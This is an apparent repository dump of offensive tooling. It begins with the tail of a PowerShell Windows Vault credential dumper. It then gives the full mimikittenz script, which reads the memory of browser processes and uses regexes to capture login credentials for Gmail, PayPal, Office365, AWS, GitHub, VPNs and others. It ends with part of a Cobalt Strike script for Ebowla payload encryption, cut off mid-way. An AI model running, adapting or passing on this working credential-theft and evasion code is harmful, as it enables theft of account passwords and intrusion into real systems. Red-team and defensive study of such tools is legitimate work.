[Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid])) 284 | 285 | $VaultHandle = [IntPtr]::Zero 286 | 287 | Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))" 288 | 289 | $Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle) 290 | 291 | if ($Result -ne 0) 292 | { 293 | Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" 294 | continue 295 | } 296 | 297 | $VaultItemCount = 0 298 | $VaultItemPtr = [IntPtr]::Zero 299 | 300 | $Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr) 301 | 302 | if ($Result -ne 0) 303 | { 304 | $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) 305 | Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" 306 | continue 307 | } 308 | 309 | $StructAddress = $VaultItemPtr 310 | 311 | if ($VaultItemCount) 312 | { 313 | foreach ($j in 1..$VaultItemCount) 314 | { 315 | $CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM) 316 | $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM)) 317 | 318 | $PasswordVaultItem = [IntPtr]::Zero 319 | 320 | if ($OSMajor -ge 6 -and $OSMinor -ge 2) 321 | { 322 | $Result = $Vaultcli::VaultGetItem($VaultHandle, 323 | [Ref] $CurrentItem.SchemaId, 324 | $CurrentItem.pResourceElement, 325 | $CurrentItem.pIdentityElement, 326 | $CurrentItem.pPackageSid, 327 | [IntPtr]::Zero, 328 | 0, 329 | [Ref] $PasswordVaultItem) 330 | } 331 | else 332 | { 333 | $Result = $Vaultcli::VaultGetItem($VaultHandle, 334 | [Ref] $CurrentItem.SchemaId, 335 | $CurrentItem.pResourceElement, 336 | $CurrentItem.pIdentityElement, 337 | [IntPtr]::Zero, 338 | 0, 339 | [Ref] $PasswordVaultItem) 340 | } 341 | 342 | $PasswordItem = $null 343 | 344 | if ($Result -ne 0) 345 | { 346 | Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))" 347 | continue 348 | } 349 | else 350 | { 351 | $PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM) 352 | } 353 | 354 | if ($VaultSchema.ContainsKey($VaultGuid)) 355 | { 356 | $VaultType = $VaultSchema[$VaultGuid] 357 | } 358 | else 359 | { 360 | $VaultType = $VaultGuid 361 | } 362 | 363 | if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero) 364 | { 365 | $Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement 366 | } 367 | else 368 | { 369 | $Credential = $null 370 | } 371 | 372 | $PackageSid = $null 373 | 374 | if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero)) 375 | { 376 | $PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid 377 | } 378 | 379 | 380 | $Properties = @{ 381 | Vault = $VaultType 382 | Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null } 383 | Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null } 384 | PackageSid = $PackageSid 385 | Credential = $Credential 386 | LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified) 387 | } 388 | 389 | $VaultItem = New-Object PSObject -Property $Properties 390 | $VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM' 391 | 392 | $VaultItem 393 | 394 | $null = $Vaultcli::VaultFree($PasswordVaultItem) 395 | } 396 | } 397 | 398 | $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) 399 | } 400 | } 401 | } -------------------------------------------------------------------------------- /kits/CredKit/scripts/Invoke-mimikittenz.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-mimikittenz 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Extracts juicy info from memory. 7 | 8 | Author: Jamieson O'Reilly (https://au.linkedin.com/in/jamieson-o-reilly-13ab6470) 9 | License: https://creativecommons.org/licenses/by/4.0/ 10 | 11 | 12 | .DESCRIPTION 13 | 14 | Utilizes Windows function ReadProcessMemory() to extract juicy information from target process memory using regex. 15 | 16 | .EXAMPLE 17 | 18 | Invoke-mimikittenz 19 | 20 | .NOTES 21 | 22 | Depending on each process cleanup, process generally must be running in order to extract info. 23 | #> 24 | 25 | 26 | $asciiart = @" 27 | 4pSA4pSA4pSA4paQ4paA4paE4pSA4pSA4pSA4pSA4pSA4pSA4paE4paA4paM4pSA4pSA4pSA4paE4paE4paE4paE4paE4paE4paE4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSADQrilIDilIDilIDilozilpLilpLiloDiloTiloTiloTiloTiloDilpLilpLilpDiloTiloDiloDilpLilojilojilpLilojilojilpLiloDiloDiloTilIDilIDilIDilIDilIDilIDilIDilIDilIDilIANCuKUgOKUgOKWkOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWgOKWhOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgA0K4pSA4pSA4paM4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paE4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paA4paE4pSA4pSA4pSA4pSA4pSA4pSADQriloDilojilpLilpLilojilozilpLilpLilojilpLilpLilpDilojilpLilpLiloDilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilozilIDilIDilIDilIDilIANCuKWgOKWjOKWkuKWkuKWkuKWkuKWkuKWgOKWkuKWgOKWkuKWkuKWkuKWkuKWkuKWgOKWgOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKUgOKUgOKUgOKWhOKWhA0K4paQ4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paM4paE4paI4paS4paIDQrilpDilpLilpLilpLilpJtaW1pa2l0dGVuei0xLjAtYWxwaGHilpLilpLilpLilpLilpLilpLilpLilpLilpLilpDilpLilojiloDilIANCuKWkOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKWgOKUgOKUgOKUgA0K4paQ4paS4paS4paS4paS4paS4paSQ0FOIEkgSEFaIFdBTT/ilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilozilIDilIDilIDilIANCuKUgOKWjOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKUgOKUgOKUgOKUgOKUgA0K4pSA4paQ4paS4paS4paSamFtaWVzb25AZHJpbmdlbnNlYy5jb23ilpLilpLilpLilpLilozilIDilIDilIDilIDilIANCuKUgOKUgOKWjOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKUgOKUgOKUgOKUgOKUgOKUgA0K4pSA4pSA4paQ4paE4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paE4paM4pSA4pSA4pSA4pSA4pSA4pSADQrilIDilIDilIDilIDiloDiloTiloTiloDiloDiloDiloDiloTiloTiloDiloDiloDiloDiloDiloDiloTiloTiloDiloDiloDiloDiloDiloDiloTiloTiloDilIDilIDilIDilIDilIDilIDilIDilIA= 28 | "@ 29 | $Source2 = @" 30 | using System; 31 | using System.Collections.Generic; 32 | using System.Text; 33 | using System.Diagnostics; 34 | using System.Runtime.InteropServices; 35 | using System.Text.RegularExpressions; 36 | using System.IO; 37 | 38 | namespace mimikittenz 39 | { 40 | public class MemProcInspector 41 | { 42 | static MemProcInspector() 43 | { 44 | InitRegexes(); 45 | } 46 | 47 | 48 | 49 | public static void SaveToFile(string fileName, List matches) 50 | { 51 | StringBuilder builder = new StringBuilder(); 52 | foreach (MatchInfo s in matches) 53 | { 54 | builder.AppendLine(s.PatternMatch); 55 | } 56 | File.WriteAllText(fileName, builder.ToString()); 57 | 58 | } 59 | 60 | public static void AddRegex(string name, string pattern) 61 | { 62 | regexes.Add(new RegexRecord(name, pattern)); 63 | } 64 | 65 | public static List regexes = new List(); 66 | 67 | public static List InspectManyProcs(params string[] procNames) 68 | { 69 | 70 | 71 | 72 | List lstMatch = new List(); 73 | string res = "None"; 74 | foreach (string procName in procNames) 75 | { 76 | try 77 | { 78 | 79 | Process[] procs = Process.GetProcessesByName(procName); 80 | foreach (Process pr in procs) 81 | { 82 | Process process = pr; 83 | 84 | res = InspectProc(process, ref lstMatch); 85 | 86 | } 87 | } 88 | catch (Exception ex) 89 | { 90 | res = ex.Message; 91 | res = ex.StackTrace; 92 | } 93 | } 94 | List lstToReturn = new List(); 95 | 96 | return lstMatch; 97 | } 98 | 99 | private static void InitRegexes() 100 | { 101 | regexes.Clear(); 102 | } 103 | 104 | 105 | 106 | private static string InspectProc(Process process, ref List lstMatch) 107 | { 108 | string res = ""; 109 | IntPtr processHandle = MInterop.OpenProcess(MInterop.PROCESS_WM_READ | MInterop.PROCESS_QUERY_INFORMATION, false, process.Id); 110 | if (processHandle.ToInt64() == 0) 111 | { 112 | int err = Marshal.GetLastWin32Error(); 113 | 114 | } 115 | 116 | res = SearchProc(processHandle, ref lstMatch); 117 | MInterop.CloseHandle(processHandle); 118 | return res; 119 | } 120 | 121 | private static string SearchProc(IntPtr processHandle, ref List lstMatch) 122 | { 123 | string res = ""; 124 | MInterop.SYSTEM_INFO si = new MInterop.SYSTEM_INFO(); 125 | MInterop.GetSystemInfo(out si); 126 | 127 | long createdSize = 1; 128 | byte[] lpBuffer = new byte[createdSize]; 129 | 130 | Int64 total = 0; 131 | 132 | long regionStart = si.minimumApplicationAddress.ToInt64(); //(BYTE*)si.lpMinimumApplicationAddress; 133 | bool skipRegion = false; 134 | bool stop = false; 135 | //while (regionStart < Math.Min(0x7ffeffff, si.maximumApplicationAddress.ToInt64()) && !stop) 136 | while (regionStart < si.maximumApplicationAddress.ToInt64() && !stop) 137 | { 138 | //MInterop.MEMORY_BASIC_INFORMATION memInfo; 139 | MInterop.MEMORY_BASIC_INFORMATION memInfo; 140 | 141 | long regionRead = 0; 142 | long regionSize; 143 | int resulq = MInterop.VirtualQueryEx(processHandle, (IntPtr)regionStart, out memInfo, (uint)Marshal.SizeOf(typeof(MInterop.MEMORY_BASIC_INFORMATION))); 144 | if (resulq == 0) 145 | { 146 | //XVERBOSE(L"VirtualQueryEx error %d\n", GetLastError()); 147 | int err = Marshal.GetLastWin32Error(); 148 | Marshal.ThrowExceptionForHR(err); 149 | break; 150 | } 151 | regionSize = (memInfo.BaseAddress.ToInt64() + memInfo.RegionSize.ToInt64() - regionStart); 152 | if (MInterop.IsDataRegion(memInfo) == false) 153 | { 154 | 155 | } 156 | if (skipRegion) 157 | { 158 | skipRegion = false; 159 | } 160 | else 161 | if (MInterop.IsDataRegion(memInfo)) 162 | { 163 | 164 | if (createdSize < regionSize) 165 | { 166 | createdSize = regionSize; 167 | lpBuffer = new byte[createdSize]; 168 | } 169 | bool resRead = false; 170 | try 171 | { 172 | resRead = MInterop.ReadProcessMemory(processHandle, new IntPtr(regionStart), lpBuffer, regionSize, out regionRead); 173 | } 174 | catch //(AccessViolationException ex) 175 | { 176 | resRead = false; 177 | } 178 | // result |= SearchRegion(process, regionStart, regionSize, regexData, regionRead, buffer); 179 | regionSize = (int)regionRead; 180 | if (!resRead) 181 | { 182 | // looks like the memory state has been altered by the target process 183 | // between our VirtualQueryEx and ReadProcessMemory calls -> 184 | // learn the size of the changed region and jump over it on the next iteration 185 | skipRegion = true; 186 | //XVERBOSE(L"Skipping a non-readable region\n"); 187 | } 188 | if (resRead) 189 | { 190 | List strsTolook = new List(); 191 | string str1 = UnicodeEncoding.Unicode.GetString(lpBuffer, 0, (int)regionRead); 192 | string str11 = UnicodeEncoding.Unicode.GetString(lpBuffer, 0 + 1, (int)regionRead - 1); 193 | string str4 = UnicodeEncoding.ASCII.GetString(lpBuffer, 0, (int)regionRead); 194 | strsTolook.Add(str1); 195 | strsTolook.Add(str4); 196 | strsTolook.Add(str11); 197 | 198 | foreach (RegexRecord regexRec in regexes) 199 | { 200 | 201 | foreach (string str in strsTolook) 202 | { 203 | MatchCollection matches3 = regexRec.Regex.Matches(str); 204 | if (matches3.Count > 0) 205 | { 206 | for (int i = 0; i < matches3.Count; i++) 207 | if (matches3[i].Success && IsMatchesContain(lstMatch, matches3[i].Value) == false && IsRegexRecordsContain(matches3[i].Value) == false) 208 | { 209 | MatchInfo m = new MatchInfo(); 210 | m.PatternName = regexRec.Name; 211 | m.PatternMatch = matches3[i].Value; 212 | 213 | lstMatch.Add(m); 214 | } 215 | res = matches3[0].Value; 216 | 217 | 218 | } 219 | } 220 | } 221 | 222 | 223 | } 224 | 225 | total += regionSize; 226 | } 227 | regionStart += regionSize; 228 | //stop = IsStop(stopEvent); 229 | } 230 | //XVERBOSE(L"Totally searched %lu bytes\n", total); 231 | //return result; 232 | return res; 233 | } 234 | 235 | private static bool IsMatchesContain(List matches, string val) 236 | { 237 | foreach (MatchInfo item in matches) 238 | { 239 | if (string.Compare(item.PatternMatch, val) == 0) 240 | return true; 241 | } 242 | return false; 243 | } 244 | 245 | private static bool IsRegexRecordsContain(string pattern) 246 | { 247 | foreach (RegexRecord item in regexes) 248 | { 249 | if (string.Compare(item.Pattern, pattern) == 0) 250 | return true; 251 | } 252 | return false; 253 | } 254 | 255 | 256 | const int MAX_PREFIX_LENGTH = 1; 257 | // the essence 258 | // estimated upper limit to allocate enough buffers 259 | const int MAX_MATCH_LENGTH = 1024; 260 | 261 | // the buffer should be large enough to contain at least MAX_CHECK_LENGTH*sizeof(wchar_t) bytes 262 | const int DEFAULT_SEARCH_BUFFER_SIZE = (10 * 1024 * 1024); 263 | // the upper limit of the buffer size 264 | const int MAX_SEARCH_BUFFER_SIZE = (25 * 1024 * 1024); 265 | 266 | 267 | } 268 | 269 | public class MatchInfo 270 | { 271 | 272 | public string PatternName; 273 | public string PatternMatch; 274 | 275 | // public string ProccesName { get; set; } 276 | 277 | } 278 | public class RegexRecord 279 | { 280 | Regex mRegex; 281 | 282 | protected RegexRecord() 283 | { 284 | 285 | } 286 | 287 | public RegexRecord(string name, string pattern) 288 | { 289 | Name = name; 290 | Pattern = pattern; 291 | mRegex = new Regex(pattern); 292 | } 293 | 294 | public Regex Regex { get { return mRegex; } } 295 | 296 | 297 | 298 | public string Name; 299 | 300 | 301 | public string Pattern; 302 | 303 | 304 | 305 | } 306 | 307 | public class MInterop 308 | { 309 | [DllImport("kernel32.dll", SetLastError = true)] 310 | [return: MarshalAs(UnmanagedType.Bool)] 311 | public static extern bool CloseHandle(IntPtr hObject); 312 | 313 | [DllImport("kernel32.dll", SetLastError = true)] 314 | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); 315 | 316 | [DllImport("kernel32.dll", SetLastError = true)] 317 | public static extern bool ReadProcessMemory(IntPtr hProcess, 318 | IntPtr lpBaseAddress, byte[] lpBuffer, long dwSize, out long lpNumberOfBytesRead); 319 | 320 | public const int PROCESS_WM_READ = 0x0010; 321 | public const int PROCESS_QUERY_INFORMATION = 0x00000400; 322 | 323 | [DllImport("kernel32.dll", SetLastError = true)] 324 | public static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength); 325 | 326 | [StructLayout(LayoutKind.Sequential)] 327 | public struct MEMORY_BASIC_INFORMATION32 328 | { 329 | public IntPtr BaseAddress; 330 | public IntPtr AllocationBase; 331 | public uint AllocationProtect; 332 | public IntPtr RegionSize; 333 | public uint State; 334 | public uint Protect; 335 | public uint Type; 336 | } 337 | [StructLayout(LayoutKind.Sequential)] 338 | public struct MEMORY_BASIC_INFORMATION 339 | { 340 | public IntPtr BaseAddress; 341 | public IntPtr AllocationBase; 342 | public uint AllocationProtect; 343 | public short aligment; 344 | public IntPtr RegionSize; 345 | public uint State; 346 | public uint Protect; 347 | public uint Type; 348 | public short aligment2; 349 | } 350 | 351 | public enum AllocationProtect : uint 352 | { 353 | PAGE_EXECUTE = 0x00000010, 354 | PAGE_EXECUTE_READ = 0x00000020, 355 | PAGE_EXECUTE_READWRITE = 0x00000040, 356 | PAGE_EXECUTE_WRITECOPY = 0x00000080, 357 | PAGE_NOACCESS = 0x00000001, 358 | PAGE_READONLY = 0x00000002, 359 | PAGE_READWRITE = 0x00000004, 360 | PAGE_WRITECOPY = 0x00000008, 361 | PAGE_GUARD = 0x00000100, 362 | PAGE_NOCACHE = 0x00000200, 363 | PAGE_WRITECOMBINE = 0x00000400 364 | } 365 | 366 | [StructLayout(LayoutKind.Sequential)] 367 | public struct SYSTEM_INFO 368 | { 369 | public ushort processorArchitecture; 370 | ushort reserved; 371 | public uint pageSize; 372 | public IntPtr minimumApplicationAddress; 373 | public IntPtr maximumApplicationAddress; 374 | public IntPtr activeProcessorMask; 375 | public uint numberOfProcessors; 376 | public uint processorType; 377 | public uint allocationGranularity; 378 | public ushort processorLevel; 379 | public ushort processorRevision; 380 | } 381 | 382 | [DllImport("kernel32.dll")] 383 | public static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo); 384 | 385 | public enum StateEnum : uint 386 | { 387 | MEM_COMMIT = 0x1000, 388 | MEM_FREE = 0x10000, 389 | MEM_RESERVE = 0x2000 390 | } 391 | 392 | public enum TypeEnum : uint 393 | { 394 | MEM_IMAGE = 0x1000000, 395 | MEM_MAPPED = 0x40000, 396 | MEM_PRIVATE = 0x20000 397 | } 398 | 399 | internal static bool IsDataRegion(MEMORY_BASIC_INFORMATION memInfo) 400 | { 401 | 402 | bool res = // check this is a live (not free/reserved) memory 403 | (memInfo.State & (uint)StateEnum.MEM_COMMIT) != 0 && 404 | // don't examine memory mapped files sections / PE images 405 | // (memInfo.Type & (uint)TypeEnum.MEM_PRIVATE) != 0 && 406 | // don't read PAGE_GUARD memory to avoid altering target state 407 | (memInfo.Protect & ((uint)AllocationProtect.PAGE_NOACCESS | (uint)AllocationProtect.PAGE_GUARD)) == 0 408 | && 409 | // make sure the memory is readable 410 | (memInfo.Protect & ((uint)AllocationProtect.PAGE_READONLY | (uint)AllocationProtect.PAGE_READWRITE | 411 | (uint)AllocationProtect.PAGE_EXECUTE_READ | (uint)AllocationProtect.PAGE_EXECUTE_READWRITE | (uint)AllocationProtect.PAGE_EXECUTE_WRITECOPY)) != 0; 412 | 413 | return res; 414 | } 415 | 416 | public enum ProcessAccessTypes 417 | { 418 | PROCESS_TERMINATE = 0x00000001, 419 | PROCESS_CREATE_THREAD = 0x00000002, 420 | PROCESS_SET_SESSIONID = 0x00000004, 421 | PROCESS_VM_OPERATION = 0x00000008, 422 | PROCESS_VM_READ = 0x00000010, 423 | PROCESS_VM_WRITE = 0x00000020, 424 | PROCESS_DUP_HANDLE = 0x00000040, 425 | PROCESS_CREATE_PROCESS = 0x00000080, 426 | PROCESS_SET_QUOTA = 0x00000100, 427 | PROCESS_SET_INFORMATION = 0x00000200, 428 | PROCESS_QUERY_INFORMATION = 0x00000400, 429 | STANDARD_RIGHTS_REQUIRED = 0x000F0000, 430 | SYNCHRONIZE = 0x00100000, 431 | PROCESS_ALL_ACCESS = PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_SET_SESSIONID | PROCESS_VM_OPERATION | 432 | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_DUP_HANDLE | PROCESS_CREATE_PROCESS | PROCESS_SET_QUOTA | 433 | PROCESS_SET_INFORMATION | PROCESS_QUERY_INFORMATION | STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE 434 | } 435 | } 436 | } 437 | 438 | 439 | "@ 440 | 441 | $inmem=New-Object -TypeName System.CodeDom.Compiler.CompilerParameters 442 | $inmem.GenerateInMemory=1 443 | $inmem.ReferencedAssemblies.AddRange($(@("System.dll", $([PSObject].Assembly.Location)))) 444 | 445 | Add-Type -TypeDefinition $Source2 -Language CSharp -CompilerParameters $inmem 446 | 447 | [mimikittenz.MemProcInspector]::regexes.Clear() 448 | #Internet Banking 449 | #Err... Taken out for good measure 450 | 451 | #Web E-mail 452 | 453 | #Gmail 454 | [mimikittenz.MemProcInspector]::AddRegex("Gmail","&Email=.{1,99}?&Passwd=.{1,99}?&PersistentCookie=") 455 | 456 | 457 | #Web Services 458 | 459 | #Dropbox 460 | [mimikittenz.MemProcInspector]::AddRegex("Dropbox","login_email=.{1,99}&login_password=.{1,99}&") 461 | #SalesForce (Needs fix) 462 | #[mimikittenz.MemProcInspector]::AddRegex("SalesForce","&display=page&username=.{1,32}&pw=.{1,16}&Login=") 463 | #Office365 464 | [mimikittenz.MemProcInspector]::AddRegex("Office365","login=.{1,32}&passwd=.{1,22}&PPSX=") 465 | #Microsoft OneDrive 466 | [mimikittenz.MemProcInspector]::AddRegex("MicrosoftOneDrive","login=.{1,42}&passwd=.{1,22}&type=.{1,2}&PPFT=") 467 | #PayPal 468 | [mimikittenz.MemProcInspector]::AddRegex("PayPal","login_email=.{1,48}&login_password=.{1,16}&submit=Log\+In&browser_name") 469 | #AWS Web Services 470 | [mimikittenz.MemProcInspector]::AddRegex("awsWebServices","&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1=") 471 | #Outlook Web 2015 472 | [mimikittenz.MemProcInspector]::AddRegex("OutlookWeb","&username=.{1,48}&password=.{1,48}&passwordText") 473 | #Slack 474 | [mimikittenz.MemProcInspector]::AddRegex("Slack","&crumb=.{1,70}&email=.{1,50}&password=.{1,48}") 475 | #CitrixOnline 476 | [mimikittenz.MemProcInspector]::AddRegex("CitrixOnline","emailAddress=.{1,50}&password=.{1,50}&submit") 477 | 478 | #Accounting 479 | 480 | #Xero 481 | [mimikittenz.MemProcInspector]::AddRegex("Xero ","fragment=&userName=.{1,32}&password=.{1,22}&__RequestVerificationToken=") 482 | #MYOB 483 | [mimikittenz.MemProcInspector]::AddRegex("MYOB","UserName=.{1,50}&Password=.{1,50}&RememberMe=") 484 | #SSL-VPN's 485 | 486 | #Juniper SSL-VPN 487 | [mimikittenz.MemProcInspector]::AddRegex("JuniperSSLVPN","tz_offset=-.{1,6}&username=.{1,22}&password=.{1,22}&realm=.{1,22}&btnSubmit=") 488 | 489 | 490 | #Social Media 491 | 492 | #Twitter 493 | [mimikittenz.MemProcInspector]::AddRegex("Twitter","username_or_email%5D=.{1,42}&session%5Bpassword%5D=.{1,22}&remember_me=") 494 | #Facebook 495 | [mimikittenz.MemProcInspector]::AddRegex("Facebook","lsd=.{1,10}&email=.{1,42}&pass=.{1,22}&default_persistent=") 496 | #LinkedIN 497 | [mimikittenz.MemProcInspector]::AddRegex("LinkedIN","session_key=.{1,50}&session_password=.{1,50}&isJsEnabled") 498 | 499 | #Anti-Forensics 500 | 501 | #Malwr 502 | [mimikittenz.MemProcInspector]::AddRegex("Malwr","&username=.{1,32}&password=.{1,22}&next=") 503 | #VirusTotal 504 | [mimikittenz.MemProcInspector]::AddRegex("VirusTotal","password=.{1,22}&username=.{1,42}&next=%2Fen%2F&response_format=json") 505 | #AnubisLabs 506 | [mimikittenz.MemProcInspector]::AddRegex("AnubisLabs","username=.{1,42}&password=.{1,22}&login=login") 507 | 508 | #Remote Access 509 | 510 | #Citrix NetScaler 511 | [mimikittenz.MemProcInspector]::AddRegex("CitrixNetScaler","login=.{1,22}&passwd=.{1,42}") 512 | #Remote Desktop Web Access 2012 513 | [mimikittenz.MemProcInspector]::AddRegex("RDPWeb","DomainUserName=.{1,52}&UserPass=.{1,42}&MachineType") 514 | 515 | 516 | 517 | #Dev Related 518 | 519 | #Jira 520 | [mimikittenz.MemProcInspector]::AddRegex("JIRA","username=.{1,50}&password=.{1,50}&rememberMe") 521 | #Redmine 522 | [mimikittenz.MemProcInspector]::AddRegex("Redmine","username=.{1,50}&password=.{1,50}&login=Login") 523 | #Github 524 | [mimikittenz.MemProcInspector]::AddRegex("Github","%3D%3D&login=.{1,50}&password=.{1,50}") 525 | #Bugzilla 526 | [mimikittenz.MemProcInspector]::AddRegex("BugZilla","Bugzilla_login=.{1,50}&Bugzilla_password=.{1,50}") 527 | #Zendesk 528 | [mimikittenz.MemProcInspector]::AddRegex("Zendesk","user%5Bemail%5D=.{1,50}&user%5Bpassword%5D=.{1,50}") 529 | #Cpanel 530 | [mimikittenz.MemProcInspector]::AddRegex("Cpanel","user=.{1,50}&pass=.{1,50}") 531 | [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($asciiart)) 532 | $matchesFound=[mimikittenz.MemProcInspector]::InspectManyProcs("iexplore","chrome","firefox") 533 | 534 | write-output $matchesFound 535 | } 536 | -------------------------------------------------------------------------------- /Ebowla/ebowla-interop.cna: -------------------------------------------------------------------------------- 1 | # Integration with Ebowla 2 | # Put ebwola.py in your path, for example: 3 | # ln -s /opt/Ebowla/ebowla.py /usr/bin/ebowla.py 4 | # You can generate a payload by clicking on Attacks -> Generate Ebowla Payload, just follow the instructions 5 | # 6 | # Some more work could be done to make this better 7 | # - @Und3rf10w 20170228 8 | 9 | sub ebowlaHelperConfigPopup { 10 | import javax.swing.JFrame; 11 | import javax.swing.JPanel; 12 | import java.awt.GridLayout; 13 | import java.awt.BorderLayout; 14 | import javax.swing.JScrollPane; 15 | import javax.swing.JTextPane; 16 | import javax.swing.JLabel; 17 | import javax.swing.JTextField; 18 | import javax.swing.JButton; 19 | import javax.swing.JComboBox; 20 | import javax.swing.JEditorPane; 21 | import javax.swing.ScrollPaneConstants; 22 | import javax.swing.JDialog; 23 | import javax.swing.DefaultComboBoxModel; 24 | import javax.swing.SwingConstants; 25 | $dialog = dialog("Ebowla Configuration Window", 450, 550); 26 | 27 | # Base content pane 28 | $contentPane = [new JPanel]; 29 | [$contentPane setLayout: [new GridLayout: 9, 1, 0, 0]]; 30 | 31 | # Panel for holding the instructions 32 | $instructionsPanel = [new JPanel]; 33 | [$contentPane add: $instructionsPanel]; 34 | [$instructionsPanel setLayout: [new GridLayout: 0, 1, 0, 0]]; 35 | 36 | $scrollPane = [new JScrollPane]; 37 | [$scrollPane setVerticalScrollBarPolicy: [ScrollPaneConstants VERTICAL_SCROLLBAR_ALWAYS]]; 38 | [$scrollPane setHorizontalScrollBarPolicy: [ScrollPaneConstants HORIZONTAL_SCROLLBAR_NEVER]]; 39 | [$instructionsPanel add: $scrollPane]; 40 | 41 | $textPaneInstructions = [new JTextPane]; 42 | [$textPaneInstructions setContentType: "text/html"]; 43 | [$textPaneInstructions setText: "ENSURE YOU EDIT THE ENCRYPTION CONFIGURATION AT THE BOTTOM OF THIS WINDOW.
Use this menu to set the various configuration options for the Ebowla payload you want to generate. This assumes you already have a desired payload generated via Cobalt Strike. The pre-generated payload must match your desired output type. Maybe eventually we can have it where it generates a payload on the fly and does everything automagically (submit a pull request).\n\nThe general workflow is to just work down this menu:\n
    \n
  1. Generate and a payload using the built-in Cobalt Strike payload generator
  2. \n
  3. Open this menu (you are here!)
  4. \n
  5. Specify the path to the payload
  6. \n
  7. Specify the desired output type (Go, Python, Powershell)
  8. \n
  9. Specify the desired output payload type
  10. \n
  11. Specify the key iterations (if nessessary)
  12. \n
  13. Specify the minus bytes
  14. \n
  15. Specify the encryption type
  16. \n
  17. Modify the settings for your desired encryption type
  18. \n
\n\nDEFINITIONS:\n
    \n
  • Output type - specifies which template will be used for output
  • \n
  • Payload type - specifies the file being fed and the file being generated
  • \n
  • Key iterations - for otp_type = key and for symmetric_settings_win. It is the number of times that the key hash is iterated via sha512 before being used as the encryption key. NOT available to otp_type = full
  • \n
  • Minus Bytes - Number of bytes subtracted from the reconstructed payload that will be the sha512 checksum used when checking the file before executing the payload
  • \n
  • Encryption Type - specifies which Ebowla encryption type you want to use (ENV or OTP)
  • \n
